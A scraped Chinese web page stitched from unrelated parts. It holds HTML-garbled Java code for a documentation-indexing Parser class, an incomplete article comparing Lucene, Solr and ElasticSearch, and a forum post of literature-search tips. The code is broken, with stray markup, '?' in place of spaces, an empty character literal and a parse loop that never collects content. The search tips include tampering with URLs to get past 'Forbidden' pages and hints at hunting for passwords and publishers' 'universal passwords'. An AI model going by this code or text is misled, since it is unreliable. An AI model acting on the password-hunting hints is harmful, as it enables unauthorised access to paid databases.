style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
　　這一模塊總的代碼塊如下：
　　import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑，去枚舉出所有的文件.（html）；<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件，打開(kāi)文件，讀取文件內容，并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????for?(File?f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構，保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取，以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int，不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾，就會(huì )返回-1，這是用int的好處；<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private?void?parseHTML?(File?f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出標題<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????String?content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件，就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
　　--- EOF --- 查看全部

　　全文搜索引擎 ElasticSearch 還是 Solr？
　　前言
　　最近項目組安排了一個(gè)任務(wù)，項目中用到了基于 Solr 的全文搜索，但是該 Solr 搜索云項目不穩定，經(jīng)常查詢(xún)不出來(lái)數據，需要手動(dòng)全量同步。
　　而且它還是其他團隊在維護，依賴(lài)性太強，導致 Solr 服務(wù)一出問(wèn)題，我們的項目也基本癱瘓，因為所有的依賴(lài)查詢(xún)都無(wú)結果數據了。
　　所以考慮開(kāi)發(fā)一個(gè)適配層，如果 Solr 搜索出問(wèn)題，自動(dòng)切換到新的搜索 ES。其實(shí)可以通過(guò) Solr 集群或者服務(wù)容錯等設計來(lái)解決該問(wèn)題。
　　但是先不考慮本身設計的合理性，領(lǐng)導需要開(kāi)發(fā)，所以我開(kāi)始踏上了搭建 ES 服務(wù)的道路，從零開(kāi)始，因為之前完全沒(méi)接觸過(guò) ES，所以通過(guò)本系列來(lái)記錄下自己的開(kāi)發(fā)過(guò)程。
　　本篇文章的總體內容大致如下圖：
　　
　　由 ReyCG 精心繪制并提供
　　什么是全文搜索引擎？
　　百度百科中的定義：
　　全文搜索引擎是目前廣泛應用的主流搜索引擎。它的工作原理是計算機索引程序通過(guò)掃描文章中的每一個(gè)詞，對每一個(gè)詞建立一個(gè)索引，指明該詞在文章中出現的次數和位置，當用戶(hù)查詢(xún)時(shí)，檢索程序就根據事先建立的索引進(jìn)行查找，并將查找的結果反饋給用戶(hù)的檢索方式。這個(gè)過(guò)程類(lèi)似于通過(guò)字典中的檢索字表查字的過(guò)程。
　　從定義中我們已經(jīng)可以大致了解全文檢索的思路了，為了更詳細的說(shuō)明，我們先從生活中的數據說(shuō)起。
　　我們生活中的數據總體分為兩種：
　　當然有的地方還會(huì )有第三種：半結構化數據，如 XML，HTML 等，當根據需要可按結構化數據來(lái)處理，也可抽取出純文本按非結構化數據來(lái)處理。
　　根據兩種數據分類(lèi)，搜索也相應的分為兩種：結構化數據搜索和非結構化數據搜索。
　　對于結構化數據，我們一般都是可以通過(guò)關(guān)系型數據庫(MySQL，Oracle 等)的 table 的方式存儲和搜索，也可以建立索引。
　　對于非結構化數據，也即對全文數據的搜索主要有兩種方法：
　　順序掃描：通過(guò)文字名稱(chēng)也可了解到它的大概搜索方式，即按照順序掃描的方式查詢(xún)特定的關(guān)鍵字。
　　例如給你一張報紙，讓你找到該報紙中“RNG”的文字在哪些地方出現過(guò)。你肯定需要從頭到尾把報紙閱讀掃描一遍，然后標記出關(guān)鍵字在哪些版塊出現過(guò)以及它的出現位置。
　　這種方式無(wú)疑是最耗時(shí)的最低效的，如果報紙排版字體小，而且版塊較多甚至有多份報紙，等你掃描完你的眼睛也差不多了。
　　全文檢索：對非結構化數據順序掃描很慢，我們是否可以進(jìn)行優(yōu)化？把我們的非結構化數據想辦法弄得有一定結構不就行了嗎？
　　將非結構化數據中的一部分信息提取出來(lái)，重新組織，使其變得有一定結構，然后對此有一定結構的數據進(jìn)行搜索，從而達到搜索相對較快的目的。
　　這種方式就構成了全文檢索的基本思路。這部分從非結構化數據中提取出的然后重新組織的信息，我們稱(chēng)之索引。
　　還以讀報紙為例，我們想關(guān)注英雄聯(lián)盟 S8 全球總決賽的新聞，假如都是 RNG 的粉絲，如何快速找到 RNG 新聞的報紙和版塊呢？
　　全文檢索的方式就是，將所有報紙中所有版塊中關(guān)鍵字進(jìn)行提取，如"EDG"，"RNG"，"FW"，"戰隊"，"英雄聯(lián)盟"等。
　　然后對這些關(guān)鍵字建立索引，通過(guò)索引我們就可以對應到該關(guān)鍵詞出現的報紙和版塊。注意區別目錄搜索引擎。
　　為什么要用全文搜索搜索引擎
　　之前，有同事問(wèn)我，為什么要用搜索引擎？我們的所有數據在數據庫里面都有，而且 Oracle、SQL Server 等數據庫里也能提供查詢(xún)檢索或者聚類(lèi)分析功能，直接通過(guò)數據庫查詢(xún)不就可以了嗎？
　　確實(shí)，我們大部分的查詢(xún)功能都可以通過(guò)數據庫查詢(xún)獲得，如果查詢(xún)效率低下，還可以通過(guò)建數據庫索引，優(yōu)化 SQL 等方式提升效率，甚至通過(guò)引入緩存來(lái)加快數據的返回速度。
　　如果數據量更大，就可以分庫分表來(lái)分擔查詢(xún)壓力。那為什么還要全文搜索引擎呢？我們主要從以下幾個(gè)原因分析：
　　數據類(lèi)型
　　全文索引搜索支持非結構化數據的搜索，可以更好地快速搜索大量存在的任何單詞或單詞組的非結構化文本。
　　例如 Google，百度類(lèi)的網(wǎng)站搜索，它們都是根據網(wǎng)頁(yè)中的關(guān)鍵字生成索引，我們在搜索的時(shí)候輸入關(guān)鍵字，它們會(huì )將該關(guān)鍵字即索引匹配到的所有網(wǎng)頁(yè)返回；還有常見(jiàn)的項目中應用日志的搜索等等。
　　對于這些非結構化的數據文本，關(guān)系型數據庫搜索不是能很好的支持。
　　索引的維護
　　一般傳統數據庫，全文檢索都實(shí)現的很雞肋，因為一般也沒(méi)人用數據庫存文本字段。
　　進(jìn)行全文檢索需要掃描整個(gè)表，如果數據量大的話(huà)即使對 SQL 的語(yǔ)法優(yōu)化，也收效甚微。
　　建立了索引，但是維護起來(lái)也很麻煩，對于 insert 和 update 操作都會(huì )重新構建索引。
　　什么時(shí)候使用全文搜索引擎：
　　Lucene，Solr，ElasticSearch ？
　　
　　現在主流的搜索引擎大概就是：Lucene，Solr，ElasticSearch。
　　它們的索引建立都是根據倒排索引的方式生成索引，何謂倒排索引？
　　維基百科：倒排索引（英語(yǔ)：Inverted index），也常被稱(chēng)為反向索引、置入檔案或反向檔案，是一種索引方法，被用來(lái)存儲在全文搜索下某個(gè)單詞在一個(gè)文檔或者一組文檔中的存儲位置的映射。它是文檔檢索系統中最常用的數據結構。
　　Lucene
　　Lucene 是一個(gè) Java 全文搜索引擎，完全用 Java 編寫(xiě)。Lucene 不是一個(gè)完整的應用程序，而是一個(gè)代碼庫和 API，可以很容易地用于向應用程序添加搜索功能。Lucene 通過(guò)簡(jiǎn)單的 API 提供強大的功能：
　　可擴展的高性能索引：
　　強大，準確，高效的搜索算法：
　　跨平臺解決方案：
　　Apache 軟件基金會(huì )：
　　Solr
　　Apache Solr 是一個(gè)基于名為 Lucene 的 Java 庫構建的開(kāi)源搜索平臺。它以用戶(hù)友好的方式提供 Apache Lucene 的搜索功能。
　　作為一個(gè)行業(yè)參與者已近十年，它是一個(gè)成熟的產(chǎn)品，擁有強大而廣泛的用戶(hù)社區。
　　它提供分布式索引，復制，負載平衡查詢(xún)以及自動(dòng)故障轉移和恢復。如果它被正確部署然后管理得好，它就能夠成為一個(gè)高度可靠，可擴展且容錯的搜索引擎。
　　很多互聯(lián)網(wǎng)巨頭，如 Netflix，eBay，Instagram 和亞馬遜（CloudSearch）都使用 Solr，因為它能夠索引和搜索多個(gè)站點(diǎn)。微信搜索公眾號：Java項目精選，回復：java 領(lǐng)取資料 。
　　主要功能列表包括：
　　ElasticSearch
　　Elasticsearch 是一個(gè)開(kāi)源（Apache 2 許可證），基于 Apache Lucene 庫構建的 RESTful 搜索引擎。
　　Elasticsearch 是在 Solr 之后幾年推出的。它提供了一個(gè)分布式，多租戶(hù)能力的全文搜索引擎，具有 HTTP Web 界面（REST）和無(wú)架構 JSON 文檔。
　　Elasticsearch 的官方客戶(hù)端庫提供 Java，Groovy，PHP，Ruby，Perl，Python，.NET 和 Javascript。
　　分布式搜索引擎包括可以劃分為分片的索引，并且每個(gè)分片可以具有多個(gè)副本。
　　每個(gè) Elasticsearch 節點(diǎn)都可以有一個(gè)或多個(gè)分片，其引擎也可以充當協(xié)調器，將操作委派給正確的分片。
　　Elasticsearch 可通過(guò)近實(shí)時(shí)搜索進(jìn)行擴展。其主要功能之一是多租戶(hù)。主要功能列表包括：
　　Elasticsearch vs Solr 的選擇
　　
　　由于 Lucene 的復雜性，一般很少會(huì )考慮它作為搜索的第一選擇，排除一些公司需要自研搜索框架，底層需要依賴(lài) Lucene。
　　所以這里我們重點(diǎn)分析哪一個(gè)更好？它們有什么不同？你應該使用哪一個(gè)？
　　歷史比較
　　Apache Solr 是一個(gè)成熟的項目，擁有龐大而活躍的開(kāi)發(fā)和用戶(hù)社區，以及 Apache 品牌。
　　Solr 于 2006 年首次發(fā)布到開(kāi)源，長(cháng)期以來(lái)一直占據著(zhù)搜索引擎領(lǐng)域，并且是任何需要搜索功能的人的首選引擎。
　　它的成熟轉化為豐富的功能，而不僅僅是簡(jiǎn)單的文本索引和搜索；如分面，分組，強大的過(guò)濾，可插入的文檔處理，可插入的搜索鏈組件，語(yǔ)言檢測等。
　　Solr 在搜索領(lǐng)域占據了多年的主導地位。然后，在 2010 年左右，Elasticsearch 成為市場(chǎng)上的另一種選擇。
　　那時(shí)候，它遠沒(méi)有 Solr 那么穩定，沒(méi)有 Solr 的功能深度，沒(méi)有思想分享，品牌等等。
　　Elasticsearch 雖然很年輕，但它也自己的一些優(yōu)勢，Elasticsearch 建立在更現代的原則上，針對更現代的用例，并且是為了更容易處理大型索引和高查詢(xún)率而構建的。
　　此外，由于它太年輕，沒(méi)有社區可以合作，它可以自由地向前推進(jìn)，而不需要與其他人（用戶(hù)或開(kāi)發(fā)人員）達成任何共識或合作，向后兼容，或任何其他更成熟的軟件通常必須處理。
　　因此，它在 Solr 之前就公開(kāi)了一些非常受歡迎的功能(例如，接近實(shí)時(shí)搜索，英文：Near Real-Time Search)。
　　從技術(shù)上講，NRT 搜索的能力確實(shí)來(lái)自 Lucene，它是 Solr 和 Elasticsearch 使用的基礎搜索庫。
　　具有諷刺意味的是，因為 Elasticsearch 首先公開(kāi)了 NRT 搜索，所以人們將 NRT 搜索與 Elasticsearch 聯(lián)系在一起。
　　盡管 Solr 和 Lucene 都是同一個(gè) Apache 項目的一部分，但是，人們會(huì )首先期望 Solr 具有如此高要求的功能。
　　特征差異比較
　　這兩個(gè)搜索引擎都是流行的，先進(jìn)的的開(kāi)源搜索引擎。它們都是圍繞核心底層搜索庫 Lucene 構建的，但它們又是不同的。
　　像所有東西一樣，每個(gè)都有其優(yōu)點(diǎn)和缺點(diǎn)，根據您的需求和期望，每個(gè)都可能更好或更差。
　　Solr 和 Elasticsearch 都在快速發(fā)展，所以，話(huà)不多說(shuō)，先來(lái)看下它們的差異清單：
　　 查看全部

　　你想要的文獻搜索方法都在這里
　　2、很時(shí)候我們可以下載下來(lái)，但以上面說(shuō)的那種方法進(jìn)行回推時(shí),常常會(huì )出現"Forbidden"的頁(yè)面，這是很多網(wǎng)站都存在的bug。
　　要解決個(gè)問(wèn)題就需要利用這個(gè)bug和靠你對所查找的內容比較熟悉。就舉一個(gè)簡(jiǎn)單的例子：google里檢索"molecular biology of the gene"時(shí)
　　... 0211/Chapter209.ppt這時(shí)我只是對最后面的"209"進(jìn)行簡(jiǎn)單的更改為"201-220"就可以得到這本書(shū)完整的ppt文件。還有的最后面是出現字母，可對相應的字母進(jìn)行修改即可，最難的是要對文件名進(jìn)行修改，這就需要比較扎實(shí)的專(zhuān)業(yè)基礎。
　　3、不要瞧不起中文藝工作者網(wǎng)站。以英文作為關(guān)鍵詞進(jìn)行搜索時(shí)英文網(wǎng)站總是出現在最前面，而等看到中文網(wǎng)站時(shí)都已經(jīng)失去了耐心，我們有時(shí)候可搜索中文網(wǎng)站，往往會(huì )得到很多意想不到的東西。特別是我們隔岸相往的同胞做的ppt也是相當的漂亮!
　　4、放寬檢索范圍。
　　5、我們最后要解決的是下載問(wèn)題。很網(wǎng)站提供很多下載鏈接，下載速度一般只有3、5kb, 最糟的只有幾百字節。而一般的網(wǎng)頁(yè)只能同時(shí)對兩個(gè)文件進(jìn)行下載。解決的方法是重新打開(kāi)IE然后在新的窗口打開(kāi)鏈接，有一次我同時(shí)打開(kāi)十幾個(gè)窗口進(jìn)行下載，很快就把所有的內容下載下來(lái)。這種下載方法要慎用，這很容易造成對網(wǎng)站的惡意下載。
　　6、很多網(wǎng)站提供ppt下載的時(shí)候也同時(shí)提供動(dòng)畫(huà)在線(xiàn)觀(guān)，看著(zhù)這么多的漂亮東東卻無(wú)法下載。不是很可惜嗎?有關(guān)這方面的內容wfj2000在其它帖子已提到過(guò)我就不說(shuō)了。
　　懇請各位高手對我提出寶貴意見(jiàn)。
　　四、Bioon全心奉獻的系列檢索講座
　　注意：本講座中的方法適用于生物與醫學(xué)的免費全文的文獻檢索，以及網(wǎng)上各種有用的資料的搜索(幻燈片，各種講座資料，電子書(shū)等)，通過(guò)使用這些技巧并與著(zhù)名搜索引擎google(，中文的多使用百度配合使用，以下所有內容都是基于這兩個(gè)搜索引擎講解的，更多的講座見(jiàn)論壇中檢索技巧版( )
　　第一講：關(guān)鍵詞的選擇技巧.
　　推薦先讀讀google從入門(mén)到精通等論文(請注冊后再登錄)
　　( ... ;ID=2997&skin=1)
　　我們了解常規搜索方式，但每個(gè)人都會(huì )搜索出不同結果，為什么?核心問(wèn)題在于關(guān)鍵詞選擇不同。
　　關(guān)鍵的分析必須保證兩點(diǎn)：
　　一是專(zhuān)業(yè)性，即這個(gè)詞是很精的，可能簡(jiǎn)化你的搜索結果，因而詞甚至可以怪一點(diǎn)，盡量避免大眾化的詞，如net,site等。即使需要大眾化詞，如password,username，但若加入一兩個(gè)特征詞，則結果將大大簡(jiǎn)化。
　　二是具有代表性，也即這個(gè)詞具有代表意義，也即它在包含你所需網(wǎng)頁(yè)內，它在出現的可能，以免一些有用信息被遺漏。
　　如何達到上述兩個(gè)要求?我們必須分析網(wǎng)頁(yè)中字詞出現的特點(diǎn)，以及本學(xué)科專(zhuān)業(yè)詞匯特征。
　　大家看看yahoo,google等medicine和science--biology條目下的分類(lèi),發(fā)現許多相關(guān)的詞均在內，如
　　醫學(xué)有關(guān)的都在Science & Technology 大條目下，又細分為：
　　Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
　　ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
　　| Nursing | Physics | Psychology | Statistics | Zoology。
　　因此如果僅以medicine檢索，就會(huì )漏掉不少很有價(jià)值的信息，特別是漏掉的專(zhuān)業(yè)的。
　　其次，在medicine下又有很多數據庫，如：EBSCO OVID，PROQUEST還有各大出版社自己的萬(wàn)能密碼。
　　大家應該明白一些了吧。
　　第二講：主要講定點(diǎn)搜索和遍搜索的區別及應用。
　　所謂定點(diǎn)搜索，即指定找某個(gè)數據庫相關(guān)信息，或某篇論文。
　　遍搜索是指在網(wǎng)上任意逛逛，找些pswd，或者無(wú)心插柳柳成蔭。
